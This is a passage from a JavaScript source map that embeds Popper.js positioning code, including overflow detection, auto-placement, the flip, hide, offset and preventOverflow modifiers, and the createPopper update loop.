reference.y + reference.height / 2 - element.height / 2;\n var offsets;\n\n switch (basePlacement) {\n case top:\n offsets = {\n x: commonX,\n y: reference.y - element.height\n };\n break;\n\n case bottom:\n offsets = {\n x: commonX,\n y: reference.y + reference.height\n };\n break;\n\n case right:\n offsets = {\n x: reference.x + reference.width,\n y: commonY\n };\n break;\n\n case left:\n offsets = {\n x: reference.x - element.width,\n y: commonY\n };\n break;\n\n default:\n offsets = {\n x: reference.x,\n y: reference.y\n };\n }\n\n var mainAxis = basePlacement ? getMainAxisFromPlacement(basePlacement) : null;\n\n if (mainAxis != null) {\n var len = mainAxis === 'y' ? 'height' : 'width';\n\n switch (variation) {\n case start:\n offsets[mainAxis] = offsets[mainAxis] - (reference[len] / 2 - element[len] / 2);\n break;\n\n case end:\n offsets[mainAxis] = offsets[mainAxis] + (reference[len] / 2 - element[len] / 2);\n break;\n\n default:\n }\n }\n\n return offsets;\n}","import getBoundingClientRect from \"../dom-utils/getBoundingClientRect.js\";\nimport getClippingRect from \"../dom-utils/getClippingRect.js\";\nimport getDocumentElement from \"../dom-utils/getDocumentElement.js\";\nimport computeOffsets from \"./computeOffsets.js\";\nimport rectToClientRect from \"./rectToClientRect.js\";\nimport { clippingParents, reference, popper, bottom, top, right, basePlacements, viewport } from \"../enums.js\";\nimport { isElement } from \"../dom-utils/instanceOf.js\";\nimport mergePaddingObject from \"./mergePaddingObject.js\";\nimport expandToHashMap from \"./expandToHashMap.js\"; // eslint-disable-next-line import/no-unused-modules\n\nexport default function detectOverflow(state, options) {\n if (options === void 0) {\n options = {};\n }\n\n var _options = options,\n _options$placement = _options.placement,\n placement = _options$placement === void 0 ? state.placement : _options$placement,\n _options$boundary = _options.boundary,\n boundary = _options$boundary === void 0 ? clippingParents : _options$boundary,\n _options$rootBoundary = _options.rootBoundary,\n rootBoundary = _options$rootBoundary === void 0 ? viewport : _options$rootBoundary,\n _options$elementConte = _options.elementContext,\n elementContext = _options$elementConte === void 0 ? popper : _options$elementConte,\n _options$altBoundary = _options.altBoundary,\n altBoundary = _options$altBoundary === void 0 ? false : _options$altBoundary,\n _options$padding = _options.padding,\n padding = _options$padding === void 0 ? 0 : _options$padding;\n var paddingObject = mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements));\n var altContext = elementContext === popper ? reference : popper;\n var referenceElement = state.elements.reference;\n var popperRect = state.rects.popper;\n var element = state.elements[altBoundary ? altContext : elementContext];\n var clippingClientRect = getClippingRect(isElement(element) ? element : element.contextElement || getDocumentElement(state.elements.popper), boundary, rootBoundary);\n var referenceClientRect = getBoundingClientRect(referenceElement);\n var popperOffsets = computeOffsets({\n reference: referenceClientRect,\n element: popperRect,\n strategy: 'absolute',\n placement: placement\n });\n var popperClientRect = rectToClientRect(Object.assign(Object.assign({}, popperRect), popperOffsets));\n var elementClientRect = elementContext === popper ? popperClientRect : referenceClientRect; // positive = overflowing the clipping rect\n // 0 or negative = within the clipping rect\n\n var overflowOffsets = {\n top: clippingClientRect.top - elementClientRect.top + paddingObject.top,\n bottom: elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom,\n left: clippingClientRect.left - elementClientRect.left + paddingObject.left,\n right: elementClientRect.right - clippingClientRect.right + paddingObject.right\n };\n var offsetData = state.modifiersData.offset; // Offsets can be applied only to the popper element\n\n if (elementContext === popper && offsetData) {\n var offset = offsetData[placement];\n Object.keys(overflowOffsets).forEach(function (key) {\n var multiply = [right, bottom].indexOf(key) >= 0 ? 1 : -1;\n var axis = [top, bottom].indexOf(key) >= 0 ? 'y' : 'x';\n overflowOffsets[key] += offset[axis] * multiply;\n });\n }\n\n return overflowOffsets;\n}","import getVariation from \"./getVariation.js\";\nimport { variationPlacements, basePlacements, placements as allPlacements } from \"../enums.js\";\nimport detectOverflow from \"./detectOverflow.js\";\nimport getBasePlacement from \"./getBasePlacement.js\";\n\n/*:: type OverflowsMap = { [ComputedPlacement]: number }; */\n\n/*;; type OverflowsMap = { [key in ComputedPlacement]: number }; */\nexport default function computeAutoPlacement(state, options) {\n if (options === void 0) {\n options = {};\n }\n\n var _options = options,\n placement = _options.placement,\n boundary = _options.boundary,\n rootBoundary = _options.rootBoundary,\n padding = _options.padding,\n flipVariations = _options.flipVariations,\n _options$allowedAutoP = _options.allowedAutoPlacements,\n allowedAutoPlacements = _options$allowedAutoP === void 0 ? allPlacements : _options$allowedAutoP;\n var variation = getVariation(placement);\n var placements = variation ? flipVariations ? variationPlacements : variationPlacements.filter(function (placement) {\n return getVariation(placement) === variation;\n }) : basePlacements;\n var allowedPlacements = placements.filter(function (placement) {\n return allowedAutoPlacements.indexOf(placement) >= 0;\n });\n\n if (allowedPlacements.length === 0) {\n allowedPlacements = placements;\n\n if (process.env.NODE_ENV !== \"production\") {\n console.error(['Popper: The `allowedAutoPlacements` option did not allow any', 'placements. Ensure the `placement` option matches the variation', 'of the allowed placements.', 'For example, \"auto\" cannot be used to allow \"bottom-start\".', 'Use \"auto-start\" instead.'].join(' '));\n }\n } // $FlowFixMe[incompatible-type]: Flow seems to have problems with two array unions...\n\n\n var overflows = allowedPlacements.reduce(function (acc, placement) {\n acc[placement] = detectOverflow(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding\n })[getBasePlacement(placement)];\n return acc;\n }, {});\n return Object.keys(overflows).sort(function (a, b) {\n return overflows[a] - overflows[b];\n });\n}","import getOppositePlacement from \"../utils/getOppositePlacement.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getOppositeVariationPlacement from \"../utils/getOppositeVariationPlacement.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\nimport computeAutoPlacement from \"../utils/computeAutoPlacement.js\";\nimport { bottom, top, start, right, left, auto } from \"../enums.js\";\nimport getVariation from \"../utils/getVariation.js\"; // eslint-disable-next-line import/no-unused-modules\n\nfunction getExpandedFallbackPlacements(placement) {\n if (getBasePlacement(placement) === auto) {\n return [];\n }\n\n var oppositePlacement = getOppositePlacement(placement);\n return [getOppositeVariationPlacement(placement), oppositePlacement, getOppositeVariationPlacement(oppositePlacement)];\n}\n\nfunction flip(_ref) {\n var state = _ref.state,\n options = _ref.options,\n name = _ref.name;\n\n if (state.modifiersData[name]._skip) {\n return;\n }\n\n var _options$mainAxis = options.mainAxis,\n checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,\n _options$altAxis = options.altAxis,\n checkAltAxis = _options$altAxis === void 0 ? true : _options$altAxis,\n specifiedFallbackPlacements = options.fallbackPlacements,\n padding = options.padding,\n boundary = options.boundary,\n rootBoundary = options.rootBoundary,\n altBoundary = options.altBoundary,\n _options$flipVariatio = options.flipVariations,\n flipVariations = _options$flipVariatio === void 0 ? true : _options$flipVariatio,\n allowedAutoPlacements = options.allowedAutoPlacements;\n var preferredPlacement = state.options.placement;\n var basePlacement = getBasePlacement(preferredPlacement);\n var isBasePlacement = basePlacement === preferredPlacement;\n var fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipVariations ? [getOppositePlacement(preferredPlacement)] : getExpandedFallbackPlacements(preferredPlacement));\n var placements = [preferredPlacement].concat(fallbackPlacements).reduce(function (acc, placement) {\n return acc.concat(getBasePlacement(placement) === auto ? computeAutoPlacement(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding,\n flipVariations: flipVariations,\n allowedAutoPlacements: allowedAutoPlacements\n }) : placement);\n }, []);\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var checksMap = new Map();\n var makeFallbackChecks = true;\n var firstFittingPlacement = placements[0];\n\n for (var i = 0; i < placements.length; i++) {\n var placement = placements[i];\n\n var _basePlacement = getBasePlacement(placement);\n\n var isStartVariation = getVariation(placement) === start;\n var isVertical = [top, bottom].indexOf(_basePlacement) >= 0;\n var len = isVertical ? 'width' : 'height';\n var overflow = detectOverflow(state, {\n placement: placement,\n boundary: boundary,\n rootBoundary: rootBoundary,\n altBoundary: altBoundary,\n padding: padding\n });\n var mainVariationSide = isVertical ? isStartVariation ? right : left : isStartVariation ? bottom : top;\n\n if (referenceRect[len] > popperRect[len]) {\n mainVariationSide = getOppositePlacement(mainVariationSide);\n }\n\n var altVariationSide = getOppositePlacement(mainVariationSide);\n var checks = [];\n\n if (checkMainAxis) {\n checks.push(overflow[_basePlacement] <= 0);\n }\n\n if (checkAltAxis) {\n checks.push(overflow[mainVariationSide] <= 0, overflow[altVariationSide] <= 0);\n }\n\n if (checks.every(function (check) {\n return check;\n })) {\n firstFittingPlacement = placement;\n makeFallbackChecks = false;\n break;\n }\n\n checksMap.set(placement, checks);\n }\n\n if (makeFallbackChecks) {\n // `2` may be desired in some cases – research later\n var numberOfChecks = flipVariations ? 3 : 1;\n\n var _loop = function _loop(_i) {\n var fittingPlacement = placements.find(function (placement) {\n var checks = checksMap.get(placement);\n\n if (checks) {\n return checks.slice(0, _i).every(function (check) {\n return check;\n });\n }\n });\n\n if (fittingPlacement) {\n firstFittingPlacement = fittingPlacement;\n return \"break\";\n }\n };\n\n for (var _i = numberOfChecks; _i > 0; _i--) {\n var _ret = _loop(_i);\n\n if (_ret === \"break\") break;\n }\n }\n\n if (state.placement !== firstFittingPlacement) {\n state.modifiersData[name]._skip = true;\n state.placement = firstFittingPlacement;\n state.reset = true;\n }\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'flip',\n enabled: true,\n phase: 'main',\n fn: flip,\n requiresIfExists: ['offset'],\n data: {\n _skip: false\n }\n};","import { top, bottom, left, right } from \"../enums.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\n\nfunction getSideOffsets(overflow, rect, preventedOffsets) {\n if (preventedOffsets === void 0) {\n preventedOffsets = {\n x: 0,\n y: 0\n };\n }\n\n return {\n top: overflow.top - rect.height - preventedOffsets.y,\n right: overflow.right - rect.width + preventedOffsets.x,\n bottom: overflow.bottom - rect.height + preventedOffsets.y,\n left: overflow.left - rect.width - preventedOffsets.x\n };\n}\n\nfunction isAnySideFullyClipped(overflow) {\n return [top, right, bottom, left].some(function (side) {\n return overflow[side] >= 0;\n });\n}\n\nfunction hide(_ref) {\n var state = _ref.state,\n name = _ref.name;\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var preventedOffsets = state.modifiersData.preventOverflow;\n var referenceOverflow = detectOverflow(state, {\n elementContext: 'reference'\n });\n var popperAltOverflow = detectOverflow(state, {\n altBoundary: true\n });\n var referenceClippingOffsets = getSideOffsets(referenceOverflow, referenceRect);\n var popperEscapeOffsets = getSideOffsets(popperAltOverflow, popperRect, preventedOffsets);\n var isReferenceHidden = isAnySideFullyClipped(referenceClippingOffsets);\n var hasPopperEscaped = isAnySideFullyClipped(popperEscapeOffsets);\n state.modifiersData[name] = {\n referenceClippingOffsets: referenceClippingOffsets,\n popperEscapeOffsets: popperEscapeOffsets,\n isReferenceHidden: isReferenceHidden,\n hasPopperEscaped: hasPopperEscaped\n };\n state.attributes.popper = Object.assign(Object.assign({}, state.attributes.popper), {}, {\n 'data-popper-reference-hidden': isReferenceHidden,\n 'data-popper-escaped': hasPopperEscaped\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'hide',\n enabled: true,\n phase: 'main',\n requiresIfExists: ['preventOverflow'],\n fn: hide\n};","import getBasePlacement from \"../utils/getBasePlacement.js\";\nimport { top, left, right, placements } from \"../enums.js\";\nexport function distanceAndSkiddingToXY(placement, rects, offset) {\n var basePlacement = getBasePlacement(placement);\n var invertDistance = [left, top].indexOf(basePlacement) >= 0 ? -1 : 1;\n\n var _ref = typeof offset === 'function' ? offset(Object.assign(Object.assign({}, rects), {}, {\n placement: placement\n })) : offset,\n skidding = _ref[0],\n distance = _ref[1];\n\n skidding = skidding || 0;\n distance = (distance || 0) * invertDistance;\n return [left, right].indexOf(basePlacement) >= 0 ? {\n x: distance,\n y: skidding\n } : {\n x: skidding,\n y: distance\n };\n}\n\nfunction offset(_ref2) {\n var state = _ref2.state,\n options = _ref2.options,\n name = _ref2.name;\n var _options$offset = options.offset,\n offset = _options$offset === void 0 ? [0, 0] : _options$offset;\n var data = placements.reduce(function (acc, placement) {\n acc[placement] = distanceAndSkiddingToXY(placement, state.rects, offset);\n return acc;\n }, {});\n var _data$state$placement = data[state.placement],\n x = _data$state$placement.x,\n y = _data$state$placement.y;\n\n if (state.modifiersData.popperOffsets != null) {\n state.modifiersData.popperOffsets.x += x;\n state.modifiersData.popperOffsets.y += y;\n }\n\n state.modifiersData[name] = data;\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'offset',\n enabled: true,\n phase: 'main',\n requires: ['popperOffsets'],\n fn: offset\n};","import computeOffsets from \"../utils/computeOffsets.js\";\n\nfunction popperOffsets(_ref) {\n var state = _ref.state,\n name = _ref.name;\n // Offsets are the actual position the popper needs to have to be\n // properly positioned near its reference element\n // This is the most basic placement, and will be adjusted by\n // the modifiers in the next step\n state.modifiersData[name] = computeOffsets({\n reference: state.rects.reference,\n element: state.rects.popper,\n strategy: 'absolute',\n placement: state.placement\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'popperOffsets',\n enabled: true,\n phase: 'read',\n fn: popperOffsets,\n data: {}\n};","import { top, left, right, bottom, start } from \"../enums.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getMainAxisFromPlacement from \"../utils/getMainAxisFromPlacement.js\";\nimport getAltAxis from \"../utils/getAltAxis.js\";\nimport within from \"../utils/within.js\";\nimport getLayoutRect from \"../dom-utils/getLayoutRect.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\nimport getVariation from \"../utils/getVariation.js\";\nimport getFreshSideObject from \"../utils/getFreshSideObject.js\";\n\nfunction preventOverflow(_ref) {\n var state = _ref.state,\n options = _ref.options,\n name = _ref.name;\n var _options$mainAxis = options.mainAxis,\n checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,\n _options$altAxis = options.altAxis,\n checkAltAxis = _options$altAxis === void 0 ? false : _options$altAxis,\n boundary = options.boundary,\n rootBoundary = options.rootBoundary,\n altBoundary = options.altBoundary,\n padding = options.padding,\n _options$tether = options.tether,\n tether = _options$tether === void 0 ? true : _options$tether,\n _options$tetherOffset = options.tetherOffset,\n tetherOffset = _options$tetherOffset === void 0 ? 0 : _options$tetherOffset;\n var overflow = detectOverflow(state, {\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding,\n altBoundary: altBoundary\n });\n var basePlacement = getBasePlacement(state.placement);\n var variation = getVariation(state.placement);\n var isBasePlacement = !variation;\n var mainAxis = getMainAxisFromPlacement(basePlacement);\n var altAxis = getAltAxis(mainAxis);\n var popperOffsets = state.modifiersData.popperOffsets;\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var tetherOffsetValue = typeof tetherOffset === 'function' ? tetherOffset(Object.assign(Object.assign({}, state.rects), {}, {\n placement: state.placement\n })) : tetherOffset;\n var data = {\n x: 0,\n y: 0\n };\n\n if (!popperOffsets) {\n return;\n }\n\n if (checkMainAxis) {\n var mainSide = mainAxis === 'y' ? top : left;\n var altSide = mainAxis === 'y' ? bottom : right;\n var len = mainAxis === 'y' ? 'height' : 'width';\n var offset = popperOffsets[mainAxis];\n var min = popperOffsets[mainAxis] + overflow[mainSide];\n var max = popperOffsets[mainAxis] - overflow[altSide];\n var additive = tether ? -popperRect[len] / 2 : 0;\n var minLen = variation === start ? referenceRect[len] : popperRect[len];\n var maxLen = variation === start ? -popperRect[len] : -referenceRect[len]; // We need to include the arrow in the calculation so the arrow doesn't go\n // outside the reference bounds\n\n var arrowElement = state.elements.arrow;\n var arrowRect = tether && arrowElement ? getLayoutRect(arrowElement) : {\n width: 0,\n height: 0\n };\n var arrowPaddingObject = state.modifiersData['arrow#persistent'] ? state.modifiersData['arrow#persistent'].padding : getFreshSideObject();\n var arrowPaddingMin = arrowPaddingObject[mainSide];\n var arrowPaddingMax = arrowPaddingObject[altSide]; // If the reference length is smaller than the arrow length, we don't want\n // to include its full size in the calculation. If the reference is small\n // and near the edge of a boundary, the popper can overflow even if the\n // reference is not overflowing as well (e.g. virtual elements with no\n // width or height)\n\n var arrowLen = within(0, referenceRect[len], arrowRect[len]);\n var minOffset = isBasePlacement ? referenceRect[len] / 2 - additive - arrowLen - arrowPaddingMin - tetherOffsetValue : minLen - arrowLen - arrowPaddingMin - tetherOffsetValue;\n var maxOffset = isBasePlacement ? -referenceRect[len] / 2 + additive + arrowLen + arrowPaddingMax + tetherOffsetValue : maxLen + arrowLen + arrowPaddingMax + tetherOffsetValue;\n var arrowOffsetParent = state.elements.arrow && getOffsetParent(state.elements.arrow);\n var clientOffset = arrowOffsetParent ? mainAxis === 'y' ? arrowOffsetParent.clientTop || 0 : arrowOffsetParent.clientLeft || 0 : 0;\n var offsetModifierValue = state.modifiersData.offset ? state.modifiersData.offset[state.placement][mainAxis] : 0;\n var tetherMin = popperOffsets[mainAxis] + minOffset - offsetModifierValue - clientOffset;\n var tetherMax = popperOffsets[mainAxis] + maxOffset - offsetModifierValue;\n var preventedOffset = within(tether ? Math.min(min, tetherMin) : min, offset, tether ? Math.max(max, tetherMax) : max);\n popperOffsets[mainAxis] = preventedOffset;\n data[mainAxis] = preventedOffset - offset;\n }\n\n if (checkAltAxis) {\n var _mainSide = mainAxis === 'x' ? top : left;\n\n var _altSide = mainAxis === 'x' ? bottom : right;\n\n var _offset = popperOffsets[altAxis];\n\n var _min = _offset + overflow[_mainSide];\n\n var _max = _offset - overflow[_altSide];\n\n var _preventedOffset = within(_min, _offset, _max);\n\n popperOffsets[altAxis] = _preventedOffset;\n data[altAxis] = _preventedOffset - _offset;\n }\n\n state.modifiersData[name] = data;\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'preventOverflow',\n enabled: true,\n phase: 'main',\n fn: preventOverflow,\n requiresIfExists: ['offset']\n};","export default function getAltAxis(axis) {\n return axis === 'x' ? 'y' : 'x';\n}","import getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getNodeScroll from \"./getNodeScroll.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport isScrollParent from \"./isScrollParent.js\"; // Returns the composite rect of an element relative to its offsetParent.\n// Composite means it takes into account transforms as well as layout.\n\nexport default function getCompositeRect(elementOrVirtualElement, offsetParent, isFixed) {\n if (isFixed === void 0) {\n isFixed = false;\n }\n\n var documentElement = getDocumentElement(offsetParent);\n var rect = getBoundingClientRect(elementOrVirtualElement);\n var isOffsetParentAnElement = isHTMLElement(offsetParent);\n var scroll = {\n scrollLeft: 0,\n scrollTop: 0\n };\n var offsets = {\n x: 0,\n y: 0\n };\n\n if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {\n if (getNodeName(offsetParent) !== 'body' || // https://github.com/popperjs/popper-core/issues/1078\n isScrollParent(documentElement)) {\n scroll = getNodeScroll(offsetParent);\n }\n\n if (isHTMLElement(offsetParent)) {\n offsets = getBoundingClientRect(offsetParent);\n offsets.x += offsetParent.clientLeft;\n offsets.y += offsetParent.clientTop;\n } else if (documentElement) {\n offsets.x = getWindowScrollBarX(documentElement);\n }\n }\n\n return {\n x: rect.left + scroll.scrollLeft - offsets.x,\n y: rect.top + scroll.scrollTop - offsets.y,\n width: rect.width,\n height: rect.height\n };\n}","import getWindowScroll from \"./getWindowScroll.js\";\nimport getWindow from \"./getWindow.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nimport getHTMLElementScroll from \"./getHTMLElementScroll.js\";\nexport default function getNodeScroll(node) {\n if (node === getWindow(node) || !isHTMLElement(node)) {\n return getWindowScroll(node);\n } else {\n return getHTMLElementScroll(node);\n }\n}","export default function getHTMLElementScroll(element) {\n return {\n scrollLeft: element.scrollLeft,\n scrollTop: element.scrollTop\n };\n}","import getCompositeRect from \"./dom-utils/getCompositeRect.js\";\nimport getLayoutRect from \"./dom-utils/getLayoutRect.js\";\nimport listScrollParents from \"./dom-utils/listScrollParents.js\";\nimport getOffsetParent from \"./dom-utils/getOffsetParent.js\";\nimport getComputedStyle from \"./dom-utils/getComputedStyle.js\";\nimport orderModifiers from \"./utils/orderModifiers.js\";\nimport debounce from \"./utils/debounce.js\";\nimport validateModifiers from \"./utils/validateModifiers.js\";\nimport uniqueBy from \"./utils/uniqueBy.js\";\nimport getBasePlacement from \"./utils/getBasePlacement.js\";\nimport mergeByName from \"./utils/mergeByName.js\";\nimport detectOverflow from \"./utils/detectOverflow.js\";\nimport { isElement } from \"./dom-utils/instanceOf.js\";\nimport { auto } from \"./enums.js\";\nvar INVALID_ELEMENT_ERROR = 'Popper: Invalid reference or popper argument provided. They must be either a DOM element or virtual element.';\nvar INFINITE_LOOP_ERROR = 'Popper: An infinite loop in the modifiers cycle has been detected! The cycle has been interrupted to prevent a browser crash.';\nvar DEFAULT_OPTIONS = {\n placement: 'bottom',\n modifiers: [],\n strategy: 'absolute'\n};\n\nfunction areValidElements() {\n for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n return !args.some(function (element) {\n return !(element && typeof element.getBoundingClientRect === 'function');\n });\n}\n\nexport function popperGenerator(generatorOptions) {\n if (generatorOptions === void 0) {\n generatorOptions = {};\n }\n\n var _generatorOptions = generatorOptions,\n _generatorOptions$def = _generatorOptions.defaultModifiers,\n defaultModifiers = _generatorOptions$def === void 0 ? [] : _generatorOptions$def,\n _generatorOptions$def2 = _generatorOptions.defaultOptions,\n defaultOptions = _generatorOptions$def2 === void 0 ? DEFAULT_OPTIONS : _generatorOptions$def2;\n return function createPopper(reference, popper, options) {\n if (options === void 0) {\n options = defaultOptions;\n }\n\n var state = {\n placement: 'bottom',\n orderedModifiers: [],\n options: Object.assign(Object.assign({}, DEFAULT_OPTIONS), defaultOptions),\n modifiersData: {},\n elements: {\n reference: reference,\n popper: popper\n },\n attributes: {},\n styles: {}\n };\n var effectCleanupFns = [];\n var isDestroyed = false;\n var instance = {\n state: state,\n setOptions: function setOptions(options) {\n cleanupModifierEffects();\n state.options = Object.assign(Object.assign(Object.assign({}, defaultOptions), state.options), options);\n state.scrollParents = {\n reference: isElement(reference) ? listScrollParents(reference) : reference.contextElement ? listScrollParents(reference.contextElement) : [],\n popper: listScrollParents(popper)\n }; // Orders the modifiers based on their dependencies and `phase`\n // properties\n\n var orderedModifiers = orderModifiers(mergeByName([].concat(defaultModifiers, state.options.modifiers))); // Strip out disabled modifiers\n\n state.orderedModifiers = orderedModifiers.filter(function (m) {\n return m.enabled;\n }); // Validate the provided modifiers so that the consumer will get warned\n // if one of the modifiers is invalid for any reason\n\n if (process.env.NODE_ENV !== \"production\") {\n var modifiers = uniqueBy([].concat(orderedModifiers, state.options.modifiers), function (_ref) {\n var name = _ref.name;\n return name;\n });\n validateModifiers(modifiers);\n\n if (getBasePlacement(state.options.placement) === auto) {\n var flipModifier = state.orderedModifiers.find(function (_ref2) {\n var name = _ref2.name;\n return name === 'flip';\n });\n\n if (!flipModifier) {\n console.error(['Popper: \"auto\" placements require the \"flip\" modifier be', 'present and enabled to work.'].join(' '));\n }\n }\n\n var _getComputedStyle = getComputedStyle(popper),\n marginTop = _getComputedStyle.marginTop,\n marginRight = _getComputedStyle.marginRight,\n marginBottom = _getComputedStyle.marginBottom,\n marginLeft = _getComputedStyle.marginLeft; // We no longer take into account `margins` on the popper, and it can\n // cause bugs with positioning, so we'll warn the consumer\n\n\n if ([marginTop, marginRight, marginBottom, marginLeft].some(function (margin) {\n return parseFloat(margin);\n })) {\n console.warn(['Popper: CSS \"margin\" styles cannot be used to apply padding', 'between the popper and its reference element or boundary.', 'To replicate margin, use the `offset` modifier, as well as', 'the `padding` option in the `preventOverflow` and `flip`', 'modifiers.'].join(' '));\n }\n }\n\n runModifierEffects();\n return instance.update();\n },\n // Sync update – it will always be executed, even if not necessary. This\n // is useful for low frequency updates where sync behavior simplifies the\n // logic.\n // For high frequency updates (e.g. `resize` and `scroll` events), always\n // prefer the async Popper#update method\n forceUpdate: function forceUpdate() {\n if (isDestroyed) {\n return;\n }\n\n var _state$elements = state.elements,\n reference = _state$elements.reference,\n popper = _state$elements.popper; // Don't proceed if `reference` or `popper` are not valid elements\n // anymore\n\n if (!areValidElements(reference, popper)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(INVALID_ELEMENT_ERROR);\n }\n\n return;\n } // Store the reference and popper rects to be read by modifiers\n\n\n state.rects = {\n reference: getCompositeRect(reference, getOffsetParent(popper), state.options.strategy === 'fixed'),\n popper: getLayoutRect(popper)\n }; // Modifiers have the ability to reset the current update cycle. The\n // most common use case for this is the `flip` modifier changing the\n // placement, which then needs to re-run all the modifiers, because the\n // logic was previously ran for the previous placement and is therefore\n // stale/incorrect\n\n state.reset = false;\n state.placement = state.options.placement; // On each update cycle, the `modifiersData` property for each modifier\n // is filled with the initial data specified by the modifier. This means\n // it doesn't persist and is fresh on each update.\n // To ensure persistent data, use `${name}#persistent`\n\n state.orderedModifiers.forEach(function (modifier) {\n return state.modifiersData[modifier.name] = Object.assign({}, modifier.data);\n });\n var __debug_loops__ = 0;\n\n for (var index = 0; index < state.orderedModifiers.length; index++) {\n if (process.env.NODE_ENV !== \"production\") {\n __debug_loops__ += 1;\n\n if (__debug_loops__ > 100) {\n console.error(INFINITE_LOOP_ERROR);\n break;\n }\n }\n\n if (state.reset === true) {\n state.reset = false;\n index = -1;\n continue;\n }\n\n var _state$orderedModifie = state.orderedModifiers[index],\n fn = _state$orderedModifie.fn,\n _state$orderedModifie2 = _state$orderedModifie.options,\n _options = _state$orderedModifie2 === void 0 ? {} : _state$orderedModifie2,\n name = _state$orderedModifie.name;\n\n if (typeof fn === 'function') {\n state = fn({\n state: state,\n options: _options,\n name: name,\n instance: instance\n }) || state;\n }\n }\n },\n // Async and optimistically optimized update – it will not be executed if\n // not necessary (debounced to run at most once-per-tick)\n update: debounce(function () {\n return new Promise(function (resolve) {\n instance.forceUpdate();\n resolve(state);\n });\n }),\n destroy: function destroy() {\n cleanupModifierEffects();\n isDestroyed = true;\n }\n };\n\n if (!areValidElements(reference, popper)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(INVALID_ELEMENT_ERROR);\n }\n\n return instance;\n }\n\n instance.setOptions(options).then(function (state) {\n if (!isDestroyed && options.onFirstUpdate) {\n options.onFirstUpdate(state);\n }\n }); // Modifiers have the ability to execute arbitrary code before the first\n // update cycle runs. They will be executed in the same order as the update\n // cycle. This is useful when a modifier adds some persistent data that\n // other modifiers need to use, but the modifier is run after the dependent\n // one.\n\n function runModifierEffects() {\n state.orderedModifiers.forEach(function (_ref3) {\n var name = _ref3.name,\n _ref3$options = _ref3.options,\n options = _ref3$options === void 0 ? {} : _ref3$options,\n effect = _ref3.effect;\n\n if (typeof effect === 'function') {\n var cleanupFn = effect({\n state: state,\n name: name,\n instance: instance,\n options: options\n });\n\n var noopFn = function noopFn() {};\n\n effectCleanupFns.push(cleanupFn || noopFn);\n }\n });\n }\n\n function cleanupModifierEffects() {\n effectCleanupFns.forEach(function (fn) {\n return fn();\n });\n effectCleanupFns = [];\n }\n\n return instance;\n };\n}\nexport var createPopper = /*#__PURE__*/popperGenerator(); // eslint-disable-next-line import/no-unused-modules\n\nexport { detectOverflow };","export default function debounce(fn) {\n var pending;\n return function () {\n if (!pending) {\n pending = new Promise(function (resolve) {\n Promise.resolve().then(function () {\n pending = undefined;\n resolve(fn());\n });\n });\n }\n\n return pending;\n };\n}","export default function mergeByName(modifiers) {\n var merged = modifiers.reduce(function (merged, current) {\n var existing = merged[current.name];\n merged[current.name] = existing ? Object.assign(Object.assign(Object.assign({}, existing), current), {}, {\n options: Object.assign(Object.assign({}, existing.options), current.options),\n data: Object.assign(Object.assign({}, existing.data), current.data)\n }) : current;\n return merged;\n }, {}); // IE11 does not support Object.values\n\n return Object.keys(merged).map(function (key) {\n return merged[key];\n });\n}","import { modifierPhases } from \"../enums.js\"; // source: https://stackoverflow.com/questions/49875255\n\nfunction order(modifiers) {\n var map = new Map();\n var visited = new Set();\n var result = [];\n modifiers.forEach(function (modifier) {\n map.set(modifier.name, modifier);\n }); // On visiting object, check for its dependencies and visit them recursively\n\n function sort(modifier) {\n visited.add(modifier.name);\n var requires = [].concat(modifier.requires || [], modifier.requiresIfExists || []);\n requires.forEach(function (dep) {\n if (!visited.has(dep)) {\n var depModifier = map.get(dep);\n\n if (depModifier) {\n sort(depModifier);\n }\n }\n });\n result.push(modifier);\n }\n\n modifiers.forEach(function (modifier) {\n if (!visited.has(modifier.name)) {\n // check for visited object\n sort(modifier);\n }\n });\n return result;\n}\n\nexport default function orderModifiers(modifiers) {\n // order based on dependencies\n var orderedModifiers = order(modifiers); // order based on phase\n\n return modifierPhases.reduce(function (acc, phase) {\n return acc.concat(orderedModifiers.filter(function (modifier) {\n return modifier.phase === phase;\n }));\n }, []);\n}","import { popperGenerator, detectOverflow } from \"./createPopper.js\";\nimport eventListeners from \"./modifiers/eventListeners.js\";\nimport popperOffsets from \"./modifiers/popperOffsets.js\";\nimport computeStyles from \"./modifiers/computeStyles.js\";\nimport applyStyles from \"./modifiers/applyStyles.js\";\nvar defaultModifiers = [eventListeners, popperOffsets, computeStyles, applyStyles];\nvar createPopper = /*#__PURE__*/popperGenerator({\n defaultModifiers: defaultModifiers\n}); // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper, popperGenerator, defaultModifiers, detectOverflow 